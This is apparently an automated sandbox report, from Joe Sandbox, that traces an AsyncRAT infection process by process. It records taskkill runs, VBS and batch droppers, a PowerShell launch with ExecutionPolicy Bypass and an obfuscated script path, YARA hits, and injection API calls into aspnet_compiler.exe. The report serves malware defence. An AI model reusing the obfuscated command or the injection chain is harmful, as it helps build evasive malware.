MSIL_Load_Encrypted_Assembly, Source: 00000004.00000002.1867257966.000002E7C8E40000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MSIL_Load_Encrypted_Assembly, Description: Yara detected MSIL_Load_Encrypted_Assembly, Source: 00000004.00000002.1868647268.000002E7CA7B0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MSIL_Load_Encrypted_Assembly, Description: Yara detected MSIL_Load_Encrypted_Assembly, Source: 00000004.00000002.1868900966.000002E7CACD1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MSIL_Load_Encrypted_Assembly, Description: Yara detected MSIL_Load_Encrypted_Assembly, Source: 00000004.00000002.1868900966.000002E7CB886000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:22:24
Start date:	25/11/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\taskkill.exe" /IM CCleanerBrowser.exe /F
Imagebase:	0x7ff748050000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:22:24
Start date:	25/11/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\taskkill.exe" /IM aspnet_regbrowsers.exe /F
Imagebase:	0x7ff748050000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:22:25
Start date:	25/11/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\taskkill.exe" /IM aspnet_compiler.exe /F
Imagebase:	0x7ff748050000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:22:25
Start date:	25/11/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\taskkill.exe" /IM AppLaunch.exe /F
Imagebase:	0x7ff748050000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:22:25
Start date:	25/11/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\taskkill.exe" /IM InstallUtil.exe /F
Imagebase:	0x7ff748050000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:22:25
Start date:	25/11/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\taskkill.exe" /IM jsc.exe /F
Imagebase:	0x7ff748050000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:22:26
Start date:	25/11/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\taskkill.exe" /IM MSBuild.exe /F
Imagebase:	0x7ff748050000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:22:27
Start date:	25/11/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\taskkill.exe" /IM RegAsm.exe /F
Imagebase:	0x7ff748050000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:22:27
Start date:	25/11/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\taskkill.exe" /IM cvtres.exe /F
Imagebase:	0x7ff748050000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:22:27
Start date:	25/11/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\taskkill.exe" /IM RegSvcs.exe /F
Imagebase:	0x7ff748050000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	09:22:42
Start date:	25/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\ProgramData\WindowsHost\MJMDVSAJFXR.vbs"
Imagebase:	0x7ff73b700000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	09:22:42
Start date:	25/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\Public\AXAGFIIEZBBS.bat" "
Imagebase:	0x7ff7c9b70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	09:22:42
Start date:	25/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	09:22:42
Start date:	25/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& 'C:\AMRKKUAMRKKsAMRKKeAMRKKrAMRKKs\PAMRKKuAMRKKbAMRKKlAMRKKiAMRKKc\LMKGJHPBNG.ps1'.replace('AMRKK','')"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000013.00000002.1753014941.0000025703E64000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Asyncrat_11a11ba1, Description: unknown, Source: 00000013.00000002.1753014941.0000025703E64000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000013.00000002.1753014941.0000025703E64000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000013.00000002.1753014941.0000025702269000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Asyncrat_11a11ba1, Description: unknown, Source: 00000013.00000002.1753014941.0000025702269000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000013.00000002.1753014941.0000025701869000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Asyncrat_11a11ba1, Description: unknown, Source: 00000013.00000002.1753014941.0000025701869000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000013.00000002.1753014941.00000257013AA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Asyncrat_11a11ba1, Description: unknown, Source: 00000013.00000002.1753014941.00000257013AA000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	09:22:43
Start date:	25/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Imagebase:	0x310000
File size:	56'368 bytes
MD5 hash:	FDA8C8F2A4E100AFB14C13DFCBCAB2D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	09:22:43
Start date:	25/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Imagebase:	0x6a0000
File size:	56'368 bytes
MD5 hash:	FDA8C8F2A4E100AFB14C13DFCBCAB2D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000015.00000002.3894017282.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Asyncrat_11a11ba1, Description: unknown, Source: 00000015.00000002.3894017282.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000015.00000002.3894017282.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFB4B16DAF6 Relevance: .5, Instructions: 468
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2037436111.00007FFB4B160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b160000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4dec3a330c9d9eaba91716ae238ac9b5c292d297ee8a8d0f56c5127e60fcd18
Instruction ID: 5e9a92e0fbf61da3b2f630f865d2280eecd98f0e382ccf8e7f78b6edc759fc7b
Opcode Fuzzy Hash: c4dec3a330c9d9eaba91716ae238ac9b5c292d297ee8a8d0f56c5127e60fcd18
Instruction Fuzzy Hash: 35F1A17091CA4D8FEBA8EF28C8557E937E1FF54310F04826EE84DC7291DB7499458B82

Function 00007FFB4B16E8A2 Relevance: .5, Instructions: 454
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2037436111.00007FFB4B160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b160000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f40e141ad46c7637f3d0c66d526e5859a2a795752a6771061481a21186c380ba
Instruction ID: 696174f638f4cbe0204d6ab1a47dcf634ab14d5d069db353b42e1a640a80d5d3
Opcode Fuzzy Hash: f40e141ad46c7637f3d0c66d526e5859a2a795752a6771061481a21186c380ba
Instruction Fuzzy Hash: 77E1C17191CA4A8FEBA8EF2CC8957E977D1FF54310F04866ED84DC3295CE78A8418B81

Function 00007FFB4B176344 Relevance: 1.6, APIs: 1, Instructions: 116
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 00007FFB4B1763EE

Memory Dump Source

Source File: 00000004.00000002.2037436111.00007FFB4B160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b160000_powershell.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9b032ac479ddecd8907ff787f6f5abc37327a4a7dcb6592a0a644b72bd63651b
Instruction ID: 4a0410b8cc11fa67253697d1f9b238c346791fccfbba5d1bf3749335d97c8eab
Opcode Fuzzy Hash: 9b032ac479ddecd8907ff787f6f5abc37327a4a7dcb6592a0a644b72bd63651b
Instruction Fuzzy Hash: 2731C57190CA5D8FDB19EF6CC8496E9BBE0FB55311F04426AD049C3152DB74A806CB91

Function 00007FFB4B6129F5 Relevance: .4, Instructions: 448
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2052036162.00007FFB4B610000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b610000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03a4820b96d06a8f5c0311d45ca4ff40338f60a1f4f113eb6f271f1c5b56b2db
Instruction ID: dc707f4f5b97b44c7690862c232f97cccaadab3183738573f8347d811c9b36a6
Opcode Fuzzy Hash: 03a4820b96d06a8f5c0311d45ca4ff40338f60a1f4f113eb6f271f1c5b56b2db
Instruction Fuzzy Hash: 9BD117A290EB8A4FEBA6AF78CC555B5BFD1EF46314B0840FED54CC70A7D9289805C351

Function 00007FFB4B233401 Relevance: .3, Instructions: 276
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2038885953.00007FFB4B230000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b230000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b928f05847aa7e7c6a10744dfd99bde14a761bbaaa2e43e2752b92ddf57fab03
Instruction ID: 53b2363e630b268a48bedb0f48085e8e6515786ba78eca4a7812ae66f2aace94
Opcode Fuzzy Hash: b928f05847aa7e7c6a10744dfd99bde14a761bbaaa2e43e2752b92ddf57fab03
Instruction Fuzzy Hash: C18122B290DA8D4FD792FB78D8485A6BFE0FF59300B0441BAE64CC71A3EA28D905C751

Function 00007FFB4B23CEDA Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2038885953.00007FFB4B230000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b230000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2f36dac0431b6e5b897b2450c88ad5521864f69d53e047b8db1af767a421ce7
Instruction ID: 289a8727b22674d31e26b1af5a11455f65f2393a325ff142827b436b0c10c96b
Opcode Fuzzy Hash: d2f36dac0431b6e5b897b2450c88ad5521864f69d53e047b8db1af767a421ce7
Instruction Fuzzy Hash: 712149A3A1DB4A4FE396BB7C9901174BAC2EF8531074860FBD60DC31A3DD1AEC178281

Function 00007FFB4B2312A1 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2038885953.00007FFB4B230000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b230000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48cd314db1731ddc9ce28919ff1f839fb23a32ba0280a4426cd2f049cd1b1991
Instruction ID: be133d13bc444ac0b122df868b6f0c3e08c60598ed73a7c99a0158c4b62e70d5
Opcode Fuzzy Hash: 48cd314db1731ddc9ce28919ff1f839fb23a32ba0280a4426cd2f049cd1b1991
Instruction Fuzzy Hash: 391159A3B1DB850FE35A7A7CA8460B4FBC2EF8962175451BEE14DC3193EC196C13439A

Function 00007FFB4B2373F5 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2038885953.00007FFB4B230000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b230000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5a3b9fbda49928f31214813c98b5c7d4bb9afe1839a86261d80f8a11c7f62c0
Instruction ID: 61469d430e28c634f7a1f51bbc339b2e7de641424298ff33b310a19b3e1635bb
Opcode Fuzzy Hash: c5a3b9fbda49928f31214813c98b5c7d4bb9afe1839a86261d80f8a11c7f62c0
Instruction Fuzzy Hash: 3AF0F662B0C9068EE799BA3CE6455B4FAE2EF8422075455BAD34DC2067DE1AF8128281

Function 00007FFB4B230296 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2038885953.00007FFB4B230000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b230000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bda668fe3c4cc6a2367ca459d9e0b7eab6ac2e96b47e3d3cf6ef80ab0e5dac9
Instruction ID: e5ec9d73e01b58fb5b1f8f52eca72fb35a93c75e50c59d31ea9ca433f13fb84a
Opcode Fuzzy Hash: 4bda668fe3c4cc6a2367ca459d9e0b7eab6ac2e96b47e3d3cf6ef80ab0e5dac9
Instruction Fuzzy Hash: 9CE026A3F0E92E0AF2A2B97C6A463F5E6C0DF4462070421B3DA4CC3162ED089C2043E0

Non-executed Functions

Function 00007FFB4B178B0C Relevance: .8, Instructions: 751COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2037436111.00007FFB4B160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b160000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33c13202877648b25b237d4c364fbeb3c5e9663238d349d56e566aada1d6d826
Instruction ID: 8ca6d4958d20b2dd384359106a676f548babca5e937c30bec83f0444b636a20c
Opcode Fuzzy Hash: 33c13202877648b25b237d4c364fbeb3c5e9663238d349d56e566aada1d6d826
Instruction Fuzzy Hash: 1F42087092CA894FEB64EF28C905BA577E0FF55304F14817DDA8DC72A2DA34A945CB81

Function 00007FFB4B178B95 Relevance: .6, Instructions: 599COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2037436111.00007FFB4B160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b160000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba486156474fac962f86e3060b63f583d63114318e3c28d3f6bb8baf0b24aae2
Instruction ID: 0059f83ac4dec97b9927a2d5b4b1264848fbcdfc871d61b96675828e31caad9d
Opcode Fuzzy Hash: ba486156474fac962f86e3060b63f583d63114318e3c28d3f6bb8baf0b24aae2
Instruction Fuzzy Hash: E212F77052CA4A8FEBA4EF28C905BB577D1FF54314F108179DA8DC72A2DE34E9458B81

Function 00007FFB4B1631AA Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2037436111.00007FFB4B160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b160000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c0ca57dc1da8f1860cfe113ec53f0b5504492b5ea9c5b9bd7b48b79b1e6acf1
Instruction ID: 0763fe43c4d2a1f0431ee4f9ca9c407bd811f53715eb9349aef1f61ea7aa1235
Opcode Fuzzy Hash: 8c0ca57dc1da8f1860cfe113ec53f0b5504492b5ea9c5b9bd7b48b79b1e6acf1
Instruction Fuzzy Hash: D54172C6A1E6C64FE3436B3CA9750EA7F60EF5326970941FBCAC5860A3DD09640B8721

Function 00007FFB4B23840F Relevance: 6.7, Strings: 5, Instructions: 430COMMON

Download Yara Rule

Strings

0J8K, xrefs: 00007FFB4B2385F8
0J8K, xrefs: 00007FFB4B23873B
0J8K, xrefs: 00007FFB4B238787
0J8K, xrefs: 00007FFB4B2385A3
0J8K, xrefs: 00007FFB4B2386C4

Memory Dump Source

Source File: 00000004.00000002.2038885953.00007FFB4B230000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b230000_powershell.jbxd

Similarity

API ID:
String ID: 0J8K$0J8K$0J8K$0J8K$0J8K
API String ID: 0-854148929
Opcode ID: a5c51b594a35664f3080ed7c2afc82c3c2c3f627ccac2ef9f17a63edadd5b41b
Instruction ID: e542eaff71bfe1d6f1cf74edc4d1529b583b709e610a591ecaf14a6018683b68
Opcode Fuzzy Hash: a5c51b594a35664f3080ed7c2afc82c3c2c3f627ccac2ef9f17a63edadd5b41b
Instruction Fuzzy Hash: 3FE1F3B290DAC54FE796FF78C864664BFE1EF56300B1840EED189CF1A3DA289845C751

Analysis Process: powershell.exePID: 1012, Parent PID: 6764COMMON

Execution Graph

Execution Coverage:	7.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFB4B168B7D Relevance: 2.0, APIs: 1, Instructions: 513
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE ref: 00007FFB4B168FD3

Memory Dump Source

Source File: 00000013.00000002.1827599679.00007FFB4B160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffb4b160000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 323caf7fca98a150950425a424931ee5d9925dab01e93d4538a54dbbf79d33e7
Instruction ID: 9ba2705a24d82e0d8ee74bf45c6c9f18c077f91f6ce73cc391176daf77e620ca
Opcode Fuzzy Hash: 323caf7fca98a150950425a424931ee5d9925dab01e93d4538a54dbbf79d33e7
Instruction Fuzzy Hash: AE025C70919A8D8FEBB8EF28C8597E977E1FB59301F00416ED80ECB291DB749645CB81

Function 00007FFB4B16865D Relevance: 1.7, APIs: 1, Instructions: 217
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE ref: 00007FFB4B1687D2

Memory Dump Source

Source File: 00000013.00000002.1827599679.00007FFB4B160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffb4b160000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: c7692baceb82cc62891fe3e6a3a2941ca5e0012dd64890bee6bfb2a336d70230
Instruction ID: fc8a94710fdd7b0806e102bcbf78cf75cef20c0b2ad398e6fe712da889932b15
Opcode Fuzzy Hash: c7692baceb82cc62891fe3e6a3a2941ca5e0012dd64890bee6bfb2a336d70230
Instruction Fuzzy Hash: F5614B70908A1D8FDB94EF68C885BE9BBF1FB69311F1081AAD44CE3255DB74A985CF40

Function 00007FFB4B168305 Relevance: 1.7, APIs: 1, Instructions: 181
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNELBASE ref: 00007FFB4B168435

Memory Dump Source

Source File: 00000013.00000002.1827599679.00007FFB4B160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffb4b160000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 3d42ca37f3125b58f671d65d1ba8c4aef8eb0b0a0396a1814782f2a3b8d4468e
Instruction ID: 8a3327f806d425af1bfcf7094a0c5531330182cb92f35d79f47010daad26f4ed
Opcode Fuzzy Hash: 3d42ca37f3125b58f671d65d1ba8c4aef8eb0b0a0396a1814782f2a3b8d4468e
Instruction Fuzzy Hash: E6514A70908A4D8FEB54EFA8C889BEDBBF1FB55311F1082AAD048E3255CB74A485CF40

Function 00007FFB4B1681AD Relevance: 1.7, APIs: 1, Instructions: 156
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 00007FFB4B16829F

Memory Dump Source

Source File: 00000013.00000002.1827599679.00007FFB4B160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffb4b160000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: c16adbadcd9eba0e302be7a73e6c7909c5efd521eb5c8d1a8a271e4a4ede7123
Instruction ID: a8e3b54ca89c67ab9d2da775a41d80439f57bb04816ec5c0774d9aecaee6c1c6
Opcode Fuzzy Hash: c16adbadcd9eba0e302be7a73e6c7909c5efd521eb5c8d1a8a271e4a4ede7123
Instruction Fuzzy Hash: C2518A70D0C78D8FDB55EFA8C885AE9BBB0EF56310F0041AAD449E7292DA74A486CF51

Function 00007FFB4B233129 Relevance: 1.4, Instructions: 1359
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.1828119793.00007FFB4B230000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffb4b230000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d73dcbf3ba1f0a23d83d70402efa8c91dc682124293e8276a34dfaa012b1c571
Instruction ID: 4481654f49f6271124cdcaa7363c910afee2f2f1ce5db63287f1e5ae1ce2bce0
Opcode Fuzzy Hash: d73dcbf3ba1f0a23d83d70402efa8c91dc682124293e8276a34dfaa012b1c571
Instruction Fuzzy Hash: 8CA14962A0DBC50FE796BB3C98551B5BFD1EF86210B0841FFD189C71A3DD189D068392

Function 00007FFB4B23210D Relevance: .7, Instructions: 704
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.1828119793.00007FFB4B230000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffb4b230000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e7f2aa5f691d99420bf6b0b221d83ae6907db87afd20edd87d89eaf3eb30420
Instruction ID: 54611ad28c6db1c429389988a2ccc708db8640e5ef1b8c35f3fa3d75c9ff83d7
Opcode Fuzzy Hash: 0e7f2aa5f691d99420bf6b0b221d83ae6907db87afd20edd87d89eaf3eb30420
Instruction Fuzzy Hash: BA223BA2A1DBC54FEB96BB3C8865574BFE1DF56210B0841FBD589C70A3DD18AC06C351

Analysis Process: aspnet_compiler.exePID: 6676, Parent PID: 1012COMMON

Execution Graph

Execution Coverage:	6.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	44
Total number of Limit Nodes:	5

Executed Functions

Function 00CC7C7A Relevance: 6.1, APIs: 4, Instructions: 130
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00CC7CFE
GetCurrentThread.KERNEL32 ref: 00CC7D3B
GetCurrentProcess.KERNEL32 ref: 00CC7D78
GetCurrentThreadId.KERNEL32 ref: 00CC7DD1

Memory Dump Source

Source File: 00000015.00000002.3895328928.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_cc0000_aspnet_compiler.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 894ee020491a20ca1ddc531f1ec21e22a6f48bf258a879e5fc056447146b8068
Instruction ID: fe032a1cfcb20440fa191aee31b2a7e9b169792b8676d1b33defa92361185b78
